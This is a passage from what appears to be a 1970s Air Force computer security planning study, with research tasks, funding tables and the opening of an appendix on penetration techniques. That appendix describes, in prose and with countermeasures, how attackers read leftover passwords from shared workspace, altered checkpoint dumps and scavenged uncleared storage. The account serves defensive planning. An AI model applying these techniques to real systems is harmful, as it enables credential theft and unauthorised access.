user) on a system, and confining reimplementation modifications to those necessary 
for applying access controls on such things as the file system and the portion of the 
operating systems devoted to managing the real memory of the computer. 
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Unfortunately, the panel does not hold much hope for the ultimate success of this 
development. However, the problems with contemporary systems are so limiting, 
that as a minimum the feasibility investigation should be undertaken. Tasks 
associated with this development are: 

a. 	 An analysis to determine the scope of reimplementation of a selected system 
based on the results 'of the abstract security model. This analysis would be 
directed to identify those components of the operating system that would 
require reimplementation in order to eliminate generic flaws of implied 
sharing, incomplete parameter checking, too rapid a response to user 
initiated interrupts and the like. 

b. 	 If the analysis indicates reimplementation is feasible, determine whether 
variou~ techniques such as virtual machines, distributed systems or 
descriptor driven virtual memory systems will provide aid to reimplementa­
tion. 

Even if the analysis does not indicate the feasibility of selective re­
implementation to achieve secure operation, the effort is not wasted. The 
results are applicable to new designs, need-to-know controls, and as a 
basis for evaluating proposals for upgrading equipment. 

c. 	 Estimate the cost and effects of reimplementation of the selected operating 
systems both with and without the hardware aids chosen for those systems. 

d. 	 If feasibility is still indicated, undertake the development of the necessary 
hardware and/or reimplementation of those portions of the operating system 
deemed necessary to provide the technical security level desired. 

The tasks, funding, and schedule for this alternative plan for one system are 
shown below. 

(All Funds Shown in $ Millions) 	 FY 

73 74 75 76 77 78 

1. 	 Analyze key current system .1 .2 .2 

for extent of redesign or re­

implementation 


2. 	 Conduct hardware modifica­ .2 .2 

tion/applique studies 


Subtotal for feasibility .1 .4 .4 

investigation (1 system) 




Assuming that the analyses indicate feasibility of repairing or reimplementing a 
system, the additional tasks are: 

3. 	 Design and Install Hardware . 3 . 5 . 2 


Modifications or Appliques 


4. 	 Redesign and Reimplement . 4 . 8 .4 

Key System 


Subtotals for . 7 1.3 . 6 
Reimplementation 

Totals (1 system) . 1 . 4 1.1 1.3 • 6 

Detailed projections for subsequent systems are not shown, but are estimated to be 
80-90% of the effort shown above for each additional system. 

6. 4 Security Surveillance 

An area of security techniques development that is in danger of being over­
looked is that associated with the role of procedural controls in establishing and 
maintaining secure operations. 

A major objective is to achieve a security surveillance capability on secure 
systems. The emphasis on a security surveillance capability is a reflection of the 
desire to detect breaches of security or penetration attempts. Unfortunately, the 
audit schemes developed around existing facilities (mostly accounting oriented) in 
contemporary systems are too inflexible to provide either surveillance or a damage 
assessment capability to systems security personnel. 

A security surveillance capability is related to the instrumentation of a system. 
To date the emphasis on (hard or soft) instrumentation has been for system 
performance measurement. While it can be seen that a security surveillance capa­
bility requires many of the same points of measurement, the security surveillance 
differs in what is recorded, and more importantly how it relates the measurement 
to the real world of users, terminals, communications lines, etc. Further, from 
a security surveillance viewpoint, while all possible measurements are not of 
interest all of the time, all possible measurements will be of interest (not all at 
once) at some time. Secure systems must be capable of supporting a variety of 
security surveillance audits at different levels of detail simultaneously. For 
example, it must be possible to monitor (record) each direct and induced transaction 
on behalf of one or more specific users, while maintaining a running record of the 
use of several of the communications links, while recording all transactions (by each 
user) against the files on a particular physical storage device, and to be able to 
vary the mix and focus easily on a day-to-day or shorter time basis. 
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To be determined are the most promising way of relating a user, terminal, 
physical device, etc. to the measurement points, and how to vary as a function of 
the level of surveillance being maintained, what is recorded upon reaching a given 
(program) measuring point. While it seems reasonably clear that both hardware 
and programs can be provided measuring points at little cost, the best way (or even 
alternate ways) to achieve th~ desired security audit capability is not yet well 
understood. Because of this, the funding for security surveillance is included in the 
corresponding section of the Exploratory Development plan. 



SECTION VTI 

COMPUTER SECURITY EXPLORATORY DEVELOPMENT PLAN 

7. 1 Introduction 

The computer security research plan complements the development plan by out­
lining studies leading to alternative systems designs, new techniques, improvement 
of operations, and in general, a better understanding of the problem(s) of secure com­
puting. To the maximum extent possible, this part of the plan has focused on re­
search directly applicable to computer security problems, and has avoided recom­
mendations in security-related areas such as fault tolerant computers, advanced 
programming languages, and the like. 

The research topics are less structured than the preceding development plan, 
however. The contributions of each topic to the various problem areas is shown in 
the table, Figure 7-1. Each topic is presented independently. 

7. 2 Systems Architecture Research 

The objective of this research is to examine alternate configurations of com­
puters, and new computer organizations that may lead to secure operations. There 
are three topics specifically recommended in this area: Distributed Systems, 
'Software First' Systems, and Internal Encryption. 

Distributed Systems Studies have already been included as part of the development 
plan, but should continue to be examined because they represent an alternate future 
direction for computers, particularly as logic costs continue to become an insignificant 
part of a total system's cost. One model of particular interest is the possibility of 
implementing a file control system in a minicomputer separate from the CPU. 

In virtually all present day computing systems, one of the weak points is the file 
handling capability. Such a file handling system could either directly manage the 
media; that is, the various tapes and disks that would be connected to the minicom­
puter, or else it could implement these activities together with all of the other opera­
tions required to form a modern file system. In other words, the machine represents 
a separated piece of programming logic. The file system looks hardwired to the main 
machine although it is internally programmed. 

Another approach is to design a minicomputer-based system that could simulate 
certain parts of an operating system. The most obvious choice would be a minicom­
puter which would interface with virtually any large scale computer. It would take the 
place of the operator's console and would relieve the operator of many of the decisions 
that he now must make in a large scale modern computing system. This is important 
in a security environment in that it is now possible on many systems to fool the 
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Figure 7-1. 	 Relationship Between Research Items and 
Security Problem Areas 

operator into taking certain actions that will violate security restrictions. At the same 
time such an operator's system could also form the basis of a security audit system 
which collects the major statistics as a mere by-product of all the information the 
operator's console receives. Such a system could be more computer independent than 
many other potential solutions to this problem. The programming of such a system 
could be quite independent of the particular main system that it is serving. It can be 
made specific to the explicit system by means of descriptor tables which are used to 



define the various types of operator interactions that can take place on the particular 
system to which it is connected. 

Research on direct execution of higher order languages ('software-first' systems) 
is already being supported by the USAF as a means of reducing programming costs, 
and increasing the efficiency of storage use, especially in air and spaceborne systems. 
The work recommended here is an investigation of the kinds of security problems that 
would be solved by using software-first machines. On the surface, it would appear to 
be an alternative method of isolating users from the balance of the system, and further 
could have the added benefits of reduced programming costs. Should the initial in­
vestigations confirm this view, a prototype can be developed using one of the available 
microprogrammed systems. 

The possibility of internal encryption of computer programs and data was first 
advanced in 1966 prior to the Defense Science Board Task Force on Computer Security. 
Since that time it has received sporadic attention. It appears that it is possible 
to apply this technique either as an applique or as an integral part of the design of 
computer systems. 

Originally it had been anticipated that the use of the technique could act as a cos­
metic coverup for the many known deficiencies of operating systems of that time. 
However, it turns out that the technique is not as broadly applicable as first thought 
because the major effect it has is to render the effects of reaching outside of one's 
memory space into other parts of a shared resource memory system unproductive due 
to the fact that the information thus recovered cannot be read because it is encrypted. 
A better understanding of what the computer security problem is and particularly the 
focus of attacks on systems indicates that this particular problem is basically solved 
with any of the current memory project mechanisms. 

Virtually none of the attack methods exploit any direct attempt to gain access to 
information outside of a user's address space. Use of internal encryption would have 
some beneficial effect on the scavenging problem and reduce the overhead of having to 
overwrite or otherwise control the use of mass storage used for work files. It is not 
clear that this benefit would be outweighed by the increased overhead penalty involved 
in operating a suitably high grade crypto algorithm for providing such protection. 

The area of principal benefit appears to be in application to tactical systems or 
those systems that exist in environments which are exposed to potential overrun by 
hostile forces. In view of the increased complexity of the operating system to attempt 
to cope with these situations by such means as automatic purge routines and the potential 
inability to exercise any significant portion of a purge in any extreme situation, we 
believe internal encryption is worth examining. 

Other topics for investigation include the functions and design of a free standing 
minicomputer based Security Officers console. 



The role of microprogramming in establishing and maintaining a secure operating 
environment requires careful analysis. While it is possible that the technique could 
isolate (from a malicious user) security related code it may be illusory if the micro­
program can be manipulated. 

Finally, we recommend a continuing program of security related systems studies 
in order to provide a continuous evaluation of new techniques and technology. 

The Tasks, schedule and funding for these investigations are shown below: 

FY 

Tasks 73 74 75 76 77 78 

1. Distributed Systems 
a. General Studies 
b. File Computer 
c. Automated Operators 

Console 

.1 

. 05 

. 05 

.1 

. 1 

.1 

. 1 . 05 . 05 . 05 

2. Internal Encryption 
a. Security Impact studies 
b. Design Studies 

. 05 . 05 
. 05 .10 

3. General 
Studies 

. 15 • 15 .25 .30 .30 .20 

Totals . 4 . 55 .45 .35 .35 .25 

7. 3 Networks 

The networks of interest can be characterized as two or more digital computer 
systems interconnected through digital communication lines. Many current opera­
tional computer systems satisfy this model. The subset of specific security interest 
are those computer systems which interchange information without any need for human 
intervention -- systems which originate queries automatically (triggered by user re­
quests, sensor or environmental event, alarm clock, schedule) and which receive 
responses from other nodes in the network. Usually when sensitive information is 
being exchanged, the nodes of the network rely on secure communication lines. 
Though considerable financial resources and management attention are drawn to the 
communications security aspects of networking (an important but well understood 
technology) the security problem of computer networking is not a communications 
problem but another more sophisticated instance of multilevel computer operating 
system security. 

Currently, most secure computer systems achieve their security integrity by 
prohibition of multilevel and multi-compartment security operation. The computer 
is operated at a single, appropriately high security level for its needs, with all per­
sonnel and operating procedures controlled within the USAF/DoD established security 



framework. Networking ties two or more ofthese computer systems together; more 
often than not, systems dissimilar in equipment, configuration, purpose, management, 
and security control procedures. An example of the networking problem is the con­
nection of the SAC SATIN network with AUTODIN network for both the receipt and 
transmission of information. Conceptually, the network can be viewed as a "supra 
computer system". The network security requirements then are different than most 
of its members because the "supracomputer" operates essentially as a multilevel, 
multi-compartment, multi-user computer system. The network's security vulnera­
bility is that each network node (i.e. , the computer system operated by a participating 
agency) is unprepared for multilevel, multi -compartment use by users over which it 
exerts limited, if any, control. Furthermore, the problem often goes unrecognized 
since management erroneously assumes security integrity because the supracomputer 
interconnections are via secured (often crypto) communications lines. 

"Third-party" identity checking is a problem aggravated by computer networking. 
In its simplest form, user A (first party) authenticates his identity to his computer 
system B (second party) by password or other techniques. 

Because of the nature of the A-B dialogue, computer system B makes a network 
request to computer system C (third party). C now has the problem of determining 
the authenticity of B's identity or worse, of A's, and further that Band A are authorized 
for the requested information. Solutions to this problem must be general and satisfy 
"nth-party" authentication. Network solutions patterned after user A - computer B 
authentication schemes, common in most current multi-user systems, collapse be­
cause such schema would require all nodes to have rapid access to an unmanageably 
large and frequently changing network user-profile data base. This is an unsolved 
problem in general, deserving of research attention. Specific operationally accepted 
(but weak) solutions have been realized by restricting authentication to just two parties, 
e. g., A-B, B-C; and trusting to network procedures that all users of a given node are 
scrutinized by that node with a network-acceptable authentication method. 

In essence, networks provide a unique security problem totally unrelated to the 
communications media forming the network. At present, too little is known about the 
security problems of networks or even how all USAF networks are interconnected. 
In conducting the requirements investigation, we found a number of intrasystems con­
nections that not only formed networks, but that interconnected two unrelated net­
works, often at different classification levels. To better understand, and control 
security in networks, the following tasks, schedule and funding are recommended: 
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FY 

Tasks 	 73 74 75 76 77 78 

1. 	 Detail and document .1 . 1 

existing (and planned) 

USAF networks con­

figurations 


2. 	 Conduct Security Analysis .1 . 05 

of existing and planned 

networks to identify 

security control elements 


3. 	 Define subsystem (network) . 15 .15 

and network security re­

quirements and mechanisms 

for appropriate security 

control 


4. 	 Perform network data .05 . 05 

aggregation studies 


5. 	 Devise third party . 1 . 1 

authentication techniques 


6. 	 Network Security Plans .1 .25 .20 .20 .20 
and studies 

Totals 	 . 25 .6 .45 .20 .20 .20 

7. 4 	 Abstract Security Models 

Although the development plan is predicated on being able to adapt the work in 
capability models into an abstract security model that can be used as the basis for 
design of access control mechanisms that will properly bound all users, there is no 
assertion that the model perceived for the current development is the only one pos­
sible, nor even one that embraces all aspects of a secure computing environment. It 
is clear, however, that an abstract security model is an absolute requirement if 
certification of systems is to ever occur. Without adequate models of security of 
computer systems, it is not possible to design secure systems. For that reason, we 
recommend a strong continuing program of research in abstract security models. 
Topics that should be undertaken include development of models that represent resis­
tance to inadvertent disclosure of classified information (possibly by identifying pro­
gram and hardware elements that require redundancy); models that deal with the 
classification of merged or extracted and regrouped information, leading to techniques 
of automatic classification of data; methods of security rating of information systems 
according to the level of information they contain and the degree of resistance to at ­
tack they represent. 



In addition to development of new or alternative security models, the research pro­
gram should refine and evaluate the models by applying them to operational systems 
(current or planned) to demonstrate the cost/benefit advantages systems based on the 
models over current approaches. The schedule and funding are shown below: 

FY 

78Task 73 74 75 76 77 

1. Modeling .25 .25 .25 .25 .25 .25 

Totals .25 .25 .25 .25 .25 .25 

7.5 Certification Techniques 

Assertion that a Security System represents a solution to the security problems 
of resource-sharing computer systems will require certification that the system's 
hardware, software, and procedures --both in the design and implementation pro­
vides an acceptable (to the certifying agency) secure mode of operation. The tech­
niques that can be used today to certify a program are quite primitive; however, 
interest and concern for program certification research is increasing very rapidly. 
Even independent of the computer security problem, it is reasonable to expect that 
extensive funds for research in this area will be made available by the government 
agencies funding other advanced development. Since progress in techniques for certi ­
fying programs will also be vital to a computer security effort, the agencies funding 
advanced development should be encouraged to fund several major projects aimed at 
the general problem of program certification techniques. Serious work to bring the 
more formal certification techniques to the point of being practical for large programs 
will require very large scale integrated development efforts. 

The certification required by the development plan involves proving that the 
security kernel is always invoked, is tamper-resistant, and validates each and every 
reference in the system. In essence it must be possible to demonstrate that it is 
complete, performs correctly, and does not perform any function not specified. Note 
that because of the centralization of the security functions, it is not necessary to 
certify the entire operating system. 

1 2 3One formal approach ' • to the development of reliable software is called the 
"Proof of Correctness." Essentially it involves writing formal specifications for what 
one wants to guarantee about a program. Then the specifications and the program 
code are translated into a statement of formal logic such that if that mathematical 
statement can be proven, then any execution of the program will satisfy the specifica­
tions. The proof has to be based on a large number of axioms or assumptions about 
the operating environment of the program and the programming language semantics. 
Thus at best this technique could only guarantee reliability relative to these assump­
tions. Furthermore it may not be easy to write clear specifications for security in a 
formal language. In any case this technique will need extensive development before it 
can be useful for computer security since thus far no proofs have been given for pro­
grams longer than a few hundred lines of code. This is at least one to two orders of 
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magnitude smaller than what would be needed even for a minimal security system. 
However, this approach has the potential of ultimately providing a much higher level 
of confidence in a system than could be achieved by the usual testing techniques. 

As a way of validating a design, a variation of this approach, called "structured 
programming", has been developed by Dijkstra4 and applied to developing an opera­
ting system. It is a top down approach in which a program structure is built one level 
down at a time. At each level, the next lower level of the structure is denoted by a 
name (or abstraction) assigned to it. For each level, a proof, in which the denotation 
of each name denoting a lower level is considered to be correct, is constructed. The 
resultant program has a well defined structure and most of the errors are removed in 
the process of proving correctness at each level. 

Since-a secure operating system must have a correct implementation, the oper­
ating system for a secure system should be developed using the structured program­
ming approach; the security features should be given specific proofs; and the system 
should be thoroughly tested, until the persons responsible for certifying it are satis­
fied that it has an acceptable secure mode of operation. 

Because the techniques that can be used today to certify those aspects of a secure 
computer system that are specific to computers are quite primitive, there is a need 
to develop more precise and complete techniques. Also since a secure computer 
system must not only have its design certified, but, after each update and modification, 
the system must be recertified, the techniques must be useable also in installation 
certification and recertification. Some Techniques which have shown promise are: 

Automated Verification Aids. The thoroughness of the verification of operating 
systems has been limited in practice by the amount of testing that can be per­
formed within the limits of the time and money available and by the lack of any 
model to determine when testing is complete. The approach recommended for 
this development, that of defining a model of secure computing, and locating all 
security related functions in a single simple and small portion of the system will 
minimize the certification problem by localizing what has to be certified to a 
hopefully small portion of a system. 

In order to achieve certification of a design, it will be necessary to develop fur­
ther those tools already found to be useful in program testing. Automated veri ­
fication aids have recently been developed for application programs which automate 
several of the tasks involved in test planning, test production, and test execution 
and analysis. This accelerates the testing cycle and reduces the amount of labor 
required, and aids in increasing testing thoroughness. Some of the techniques 
used which are appropriate for extension to the verification of operating systems 
are: 

• 	 automatic analysis of the anatomy of an operating system - i. e. , identifying 
all "testable segments" (sequence of code that has only one input and one 
exit) and all transfers between segments, 



• 	 quantifying the thoroughness of the testing by instrumenting the operating 
system to measure the fraction of segments and transfers exercised in each 
test and cumulatively over a series of tests, 

• 	 identifying the portions (segments and transfers) not tested in a series of 
test cases and indicating the input data needed to exercise them, 

• 	 identifying all entrances to sensitive areas of an operating system, 

• 	 identifying all interrupts and the logical paths they can initiate, 

• 	 investigating other characteristics of operating systems for suitability for 
automatic analysis and quantitative measurement - e. g., time dependent 
processes. 

Although the techniques described in the preceding paragraph can significantly 
increase the thoroughness of testing of application programs and operating systems, 
they do not address an important aspect of data management systems -the correct­
ness of design and implementation of the data structure. Flaws in the data structure 
may open the door to penetration of highly sensitive parts of the data base. Accord­
ingly, techniques of automatic analysis of the anatomy of data structures and quanti ­
fication of the thoroughness of testing of data structures should also be developed. 

Because the certification process does not stop with the design, but must also 
assure the correct implementation of the kernel design, the certification techniques 
development spans several years. The tasks, schedule, and funding recommended 
are shown below: 

FY 

Tasks 73 74 75 76 77 78 

1. Investigate and Define 
Design Certification 
Techniques 

. 1 . 1 .1 

2. Apply Design Certification 
to Security Kernel 

. 1 • 05 

3. Develop Automated Pro­
gram and Data Structure 
Testing Techniques 

. 05 . 1 . 1 • 05 

4. Apply Automated Testing 
Techniques to Prototype 
System 

. 05 . 2 • 05 

Totals 	 . 15 . 35 .45 .1 
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7. 6 	 Security Surveillance 

General Observations 

Security surveillance is defined here as the use of servomechanisms for main­
taining continuous control over the security state of a system. Its functional purposes 
are: 

1. 	 To detect security-related events (i.e., system behavior which constitutes 
or precipitates security incidents or violations). 

2. 	 To collect, record, reduce and analyze data regarding event detections in 
order to invoke an appropriate compensatory procedure (e. g., exception 
processor, alarm or correction mechanism). 

3. 	 To generate reports for security personnel review and damage assessment. 

Technical Development 

In discussing the technical development of security surveillance capabilities and 
techniques, attention is focused upon the functions of instrumentation, measurement, 
compensatory procedures, reporting and integrity. 

Instrumentation. There is a two-fold problem associated with instrumenting 
a system for security surveillance. What shall we detect? How shall we detect it 
(them)? These questions are complicated by the fact that while all possible system 
events are not interesting all of the time, all possible system events are interesting 
(but not simultaneously) some of the time. 

Measurement. Once data regarding security related events is generated, it 
must be collected, recorded, reduced and analyzed to determine their security im­
plications. Techniques are needed by which the mechanisms of measurement are 
dependent upon the security significance of the data to be analyzed. 

Compensatory Procedures. A much neglected aspect of security surveillance 
has been the range of actions or procedures to be invoked upon detection of a security 
incident. Techniques are needed to refine the corrective role played by the monitor 
personnel by use of explicit cues, instructions (if necessary) and checks. 

Reporting. Tied closely to considerations of measurement is the question of 
how to inform those individuals responsible for the security of the systems about the 
results of security surveillance. Reporting techniques are needed which consolidate 
information regarding security incidents and compensatory actions into a form that is 
meaningful and that minimizes the effort required for review and follow-on actions. 
In addition, techniques are needed which allow the security manager to retrieve in­
formation (perhaps including snapshop dumps) required at a given instant. 

Integrity. Here the critical issue is how the survellience capability is protected 
and what measures are present (or assumed) to prevent the capability from being bypassed. 



Assuming that the problems of instrumentation, measurement, compensation and 
reporting can be resolved, there remains the difficult matter of combining these 
elements into a viable whole for a particular system. This process of integration and 
operation requires careful consideration by the system developer of fitting security 
surveillance into its proper niche in the ADP system as a whole. 

Research and development is required to build an extensible prototype of a com­
prehensive security surveillance capability for purposes of testing technical concepts 
and techniques. Based upon this work the prototype could be adapted to existing 
systems and/or designed into future systems. 

The 	Tasks, schedule and funding are shown below: 

FY 

Tasks 73 74 75 76 77 78 

1. 	 Instrumentation and .2 . 1 

Measurement Studies 


2. 	 Compensatory Procedures .15 

Studies 


3. 	 Reporting Techniques .15 .1 

4. 	 Surveillance Systems .1 . 1 

Design 


Totals 	 .27 .4 . 2 . 1 

7. 7 	Computer-aided Integrated Computer System Design Environment 

The cottage-crafted approach to computer systems design and development is 
being gradually eroded by the demands of integrated circuit production. No longer is 
it possible to make simple design adjustments while fabricating a prototype as was 
the case when discrete components were used. Because of the costs involved, there 
is a requirement to get the design correct before committing it to hardware. To date, 
there has been no equivalent economic pressure to improve the design of software. 
Over the past ten years, there has emerged approaches to systems design that inte­
grates the programming and computer performance requirements into integrated de­
signs. However, these approaches have been disjoint combinations of manual and 
automated techniques, with greater emphasis on the manual aspects. The objective 
of this program is to provide a computer-aided design environment for the hardware 
and software of a secure computer system that will increase the probability of certi ­
fying a given design over hand design and implementation techniques. It will provide 
syntactic and analytic checks on a developing design as well as a formal framework 
for applying the techniques of structured programming and proof of correctness (of 
programs or hardware). Such a system (Project LOGOS at Case Western Reserve 
University) is in development under DOD funding. It should be able to impact the design 



of production systems in the 1977-78 time period. The major (single) task is transfer 
of technology through the design, implementation, certification (or the extent possible) , 
and documentation of a secure computer system responsive to a USAF requirement 
using the LOGOS design environment. To insure transfer, the work should be performed 
by USAF personnel under the guidance of LOGOS personnel. 

FY 

Task 73 74 75 76 77 78 

1. 	 Perform single inte­ . 1 . 3 . 5 . 2 .05 
grated hardware/software 
development using LOGOS 

7. 8 	 Miscellaneous Research Topics 

This section contains a collection of topics that defy classification. Included are 
topics of Data Integrity and Reliability, Automatic Classification, and Magnetic Re­
cording Media Research. 

7. 8. 1 Data Integrity and Reliability Study 

The objective is to devise a methodology of incorporating redundant and/or 
error checking/correcting into a data structure such that the host computer can de­
termine if the data structure is in a consistant configuration. This methodology should 
also aid in recovering a data structure after it has been damaged by computer system 
malfunction. The methodology to be devised is not concerned with the contents of the 
data structure but whether or not the data structure itself is in allowable configuration. 
The objective is to flag and/or correct an inconsistency in the data structure which 
may go otherwise unnoticed until that portion is accessed or modified. 

7. 8. 2 Classification Aids 

The objective of Classification Aids is to develop automatic methods and tech­
niques for assisting users in the classification of their data transactions. Recent 
advance::: in English text processing systems make it feasible to consider application 
of such technology to automatic classification. These efforts at Massachusetts Insti ­
tute of Technology, University of Wisconsin, Stanford Research Institute, Bolt, 
Bernak and Newman, and System Development Corporation (SDC) also show promise 
of inferential data base construction. Lastly, set-theoretic approaches at SDC have 
shown practical application to high water mark upgrading. These techniques will 
address the problems of: 

a. 	 Lexical analysis of text. 

b. 	 Automatic downgrade of classification based on: 

1. 	 Data subset abstracting 

2. 	 Elapsed time 



c. 	 Automatic upgrade of classification based on: 

1. 	 Data Set Aggregation 

2. 	 Data Set Implication by Inferential Techniques 

3. 	 High Water Mark 

7. 8. 3 Recording Media 

The objective of this topic is to research the technology to identify recording 
media which would satisfy ADP peripheral storage requirements and yet not possess 
the undesirable property of magnetic remnants; and/or discover and develop tech­
niques for controlled, automatic and rapid degaussing of magnetic media when un­
predictable changes in (removal of) physical security occur. If a successful file 
encryption technique is developed and implemented, these efforts would have major 
application for core (primary) memory; alternatively, it might serve in place of the 
apparent need for file encryption. 

The 	funding and schedule for these research tasks is: 

FY 

Tasks 73 74 75 76 77 

1. 	 Data Integrity .1 . 15 .20 

2. 	 Classification Aids .2 • 2 .25 .20 .20 .10 

3. 	 Recording Media . 05 • 05 .1 .1 . 1 . 1 
Studies 

Totals 	 . 35 . 4 .55 .30 .30 .20 

!14 

78 



SECTION VIII 

COST SUMMARY 

8. 1 A?vanced and Engineering Development Plans 

The Advanced and Engineering development plans are shown together because 
they represent the main thrust of the panels' recommendations. The output of both of 
these programs includes prototype hardware. 

Cost Summary For Recommended Computer Security Program(s) 
(All Amounts Shown in$ Millions) 

Fiscal Year 

73 74 75 76 77 78 

I. Development of Secure 
Open-Use System Prototype 

1. Develop Model of Secure 
Resource Sharing 

2. Develop Security Kernel 
Design 

3. Systems Studies 

4. Prototype Development 
(includes ADP Support) 

.15 

.1 

.2 

.25 

.15 

.15 

.1 

2.0 

.1 

.05 

2.15 1.5 .7 .4 

.30 

.35 

.35 

7.0 

TOTALS .70 2.4 2.3 1.5 .7 .4 8.00 

II. Supporting Engineering 
Developments 

1. Handbook of Computer 
Security Techniques 

2. Secure Office Environment 
Terminal 

3. Multiplexed Crypto 
Concentrator 

4. File Encryption 
Techniques 

TOTALS 

.15 

.1 

.2 

.15 

.60 

.1 

1.45 

.2 

.5 

2.25 

.1 

.9 

.3 

.35 

1.65 

.1 

.2 

.4 

.2 

.90 

.1 

.1 

.20 

.1 

.10 

.65 

2.65 

1.20 

1.20 

5.70 



Although the primary emphasis of the panels' activities were directed to developing 
the program to obtain a multilevel secure system, described in the advanced develop­
ment plan, the current problems were so evident that it was felt necessary to address 
these as well. 

The size of the cost estimate for the exploratory development program is due to 
the inclusion of all of the important items that could be perceived by the panel. In 
effect, it reflects the fact that security technology is complex and pervasive, and that 
there has been too little effort in this area in the past. Many of the items should 
have been accomplished long ago, (at significantly lower costs) but have not due to the 
low level of interest shown in the past. 

8. 2 Related Advanced Development and Exploratory Development Programs 

Because they are outside the main development stream, a related advanced 
development to provide interim solutions to current problems , and an exploratory 
development program in computer security are shown separately. Since the interim 
solutions development is addressing current problems, the funding for these items 
should come from existing programs. The figures shown are our estimate of what the 
effort will cost. The exploratory development program is directed to provide a con­
tinued influx of techniques and technology bearing on the problem of secure computing 
systems. 

Cost Summary for Related Developments and Exploratory Development Program 
(All Amounts Shown in$ Millions) 

Fiscal Year 

73 74 I 75 76 77 78 

III. Developments for Interim 
Solutions to Current 
Problems 

1. Secure DMS/Query Systems . 4 . 7 . 3 1.4 

2. Repair One Current System . 1 . 4 1.1 1.3 . 6 3. 5 

TOTALS .5 1.1 1.4 1.3 . 6 4.9 

Fiscal Year 

IV. Exploratory Development 
Plan 

1. Hardware Architectural 

73 

. 45 

74 

. 70 

75 

. 70 

76 

. 75 

77 

. 45 

78 

. 20 3.25 
Studies 

2. Systems Technology 1. 15 1. 95 1. 95 1. 05 . 85 . 75 7.70 

TOTALS 1. 60 2. 65 2.65 1. 80 1. 30 . 95 10. 95 

56 
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APPENDIX I 

SECURITY THREATS AND PENETRATION TECHNIQUES 

BACKGROUND 

The traditional statement of security threat has had the classical objectives of: 

a. information recovery 

b. manipulation of information 

c. denial or degradation of service. 

While any of these threat objectives may be the ultimate goal sought by a pene­
trator they do not really describe the basis for concern about computer security. 
In this paper we will attempt to outline the nature of the security threat against com­
puter systems, give some instances of the types of attacks used, and a scenario of an 
attack in order to give the reader more familiarity with how the problem appears to a 
penetrator and why the simple security measures devised in benign environments do 
not accomplish the desired results. 

We use the concept of security perimeter to define the limits of control over the 
process of producing a system. This concept is important since it is usually in con­
nection with the misunderstanding of the importance of having as broad a security 
perimeter as possible that the disagreements regarding the degree of security offered 
by a particular system arise. As an example, it may be possible to implement the 
technical controls in order to control reference to program and data objects in a system. 
These controls may be fully understood and certified, yet if the system in which they 
exist is produced by unreliable people, there is no assurance that the underlying hard­
ware and software upon which the controls may have been built are themselves in any 
way secure. While to some this may seem to be an extreme view, what it indicates 
is that the security perimeter extends only as far as the security controls themselves. 
As a consequence, there is an understandable reluctance to certify systems where 
control over the production process is itself unknown. It is because of the unknown 
and potentially malicious aspects of the production process that the security problem 
of contemporary systems is as complex as it is. 

SOURCE OF SECURITY THREAT 

The objective of the development program is to provide a secure computing system 
where the procedural, physical and clearance controls over the user population are not 
necessary or even possible. It is given therefore that a hostile third party has direct 
programming access to a targeted computing system. It is the direct programming 
access to a computer system that constitutes the principal security threat. In the 
sections that follow, we will attempt to illustrate how this threat can be exercised by 
enumerating classes of attacks and where appropriate, the generic flaws in the design 
or construction of an operating system that are exploited. 



CLASSES OF ATTACKS 

Implied Sharing 

It is a property of many contemporary operating systems that the monitor portion 
of the operating system will share memory space with user programs, either as work 
space or as a convenient place to put information associated with that user program. 
This condition often arises from a deliberate design policy invoked to charge the in­
dividual users directly for resources that they use. If the user requires file opera­
tions or other kinds of system resources, it is appropriate to maintain the informa­
tion and the work space for the operating system working on behalf of that user in an 
area that will be uniquely chargeable to that user. Because the workspace is shared, 
but in a mode not normally available to the user, the implementors of the operating 
system often are careless with regard to the state in which their workspace is left 
after receiving a user request. 

In one contemporary operating system, the monitor uses such a workspace to 
read in the catalog of authorized users of the system along with their passwords as 
part of a search for data requested by a given user. This function is necessary in 
order for the system to determine that the requests are properly formed and author­
ized to the user making the request. Upon finding the condition that a request is im­
proper, the monitor returns control to the user program making the request, with an 
indication of the nature of the error in the request. However, it does nothing about 
the information remaining in the shared workspace. As a consequence, the user can 
now refer to the workspace and obtain from it other user identifiers and authentica­
tors (passwords) which he can then use to masquerade to the system. 

The same operating system has provision to record the state of a running pro­
gram at convenient restart points as "checkpoint" dumps. The checkpoints are re­
corded on a file specified to the system by the user where it is then available to that 
user for manipulation. The user can then cause the program to be restarted using 
modified state information that accesses different data than that originally specified. 
In an earlier version of the particular monitor in question this could result in the user 
gaining supervisory state control of the system. (This particular condition has since 
been repaired). 

While there are a variety of countermeasures to this class of attack, it is inter­
esting to note that the situation upon which the attack depends may well have occurred 
deliberately due to design decisions on the part of the operating system designers. 
Further, it is important to identify all instances of implied sharing in order to apply 
the appropriate countermeasures. 

Scavenging 

The scavenging problem can also be called the 'unerased blackboard' problem as 
far as contemporary computer systems go. What this attack exploits is the fact that 



work files and workspace in general (cf. Implied Sharing) is not erased after use, 
even after the program using the space is completed. 

Taking advantage of this is a simple matter and admits a variety of attacks. In 
its simplest attack, a program is written that specifies large tables (as workspace). If 
the operating system does not clear the workspace assigned, the program then can read 
what had previously been written there, print it, and search for useful information. 

Most operating systems designers recognize this particular problem especially in 
connection with the higher level languages such as FORTRAN because it could create 
an implied set of initial conditions on the programs written in those languages. As a 
consequence uncleared main memory is not as commonly found as in some of the other 
memory media. 

Another type of scavenge uses the same approach on files instead of main memory. 
For this scavenge, one writes a program that defines the requirement for large file 
space. The system will generally allocate the space at the time the program is read­
ied for execution. One then opens the work files for reading instead of writing, and 
reads the (previous) data. 

In general, it is impossible for the operating systems to determine the intent of 
the programmer in any particular sequence of actions he may take. 

Results from scavenging are not predictable as one can well imagine, however, 
on some systems, this kind of scavenging has resulted in retrieving user identifiers 
and passwords (from batch run control cards) as well as complete programs, data 
files and the like. If nothing else is available to a penetrator, scavenging is an ac­
ceptable source of substantial amounts of information. 

As in the implied sharing vulnerability, there is a very simple countermeasure 
to counteract the effects of scavenging. The reason this has not been implemented in 
contemporary systems is that the overhead associated with erasing all file and work 
space after its use is high, and most users are unwilling to pay this penalty. Re­
gardless, about the only currently effective countermeasure is to erase the workspace 
after it is used. The fact that most systems have no provision for doing this indicates 
that scavenging is still a useful attack method for most systems. 

Incomplete Parameter Checking 

The major weaknesses of contemporary operating systems occurs at the interface 
between the system and the user. This interface is present in order for the user to 
exercise the various centralized functions and services provided by the operating 
system to all users (e. g. , I/O operations, program initiation, date and time, etc.). 
Users call operating system functions in a manner similar to subroutine calls, pro­
viding the details associated with a call as a parameter list. The bulk of the param­
eters are (expected to be) pointers (addresses) to information within the callers as­
